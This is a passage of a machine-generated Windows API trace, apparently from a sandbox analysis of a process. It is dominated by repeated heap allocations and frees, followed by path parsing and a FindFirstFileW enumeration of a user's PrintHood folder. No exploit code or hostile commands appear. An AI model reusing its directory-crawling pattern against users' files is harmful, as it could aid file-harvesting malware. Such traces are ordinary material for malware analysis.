(HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.340] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.340] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.341] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.342] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.343] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.343] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.344] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.345] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.346] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.346] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.346] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.347] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.347] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.347] PathFindFileNameW (pszPath="") returned="" [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.347] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0xffffffff [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd90 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d548 | out: hHeap=0x5d0000) returned 1 [0067.347] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0067.347] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 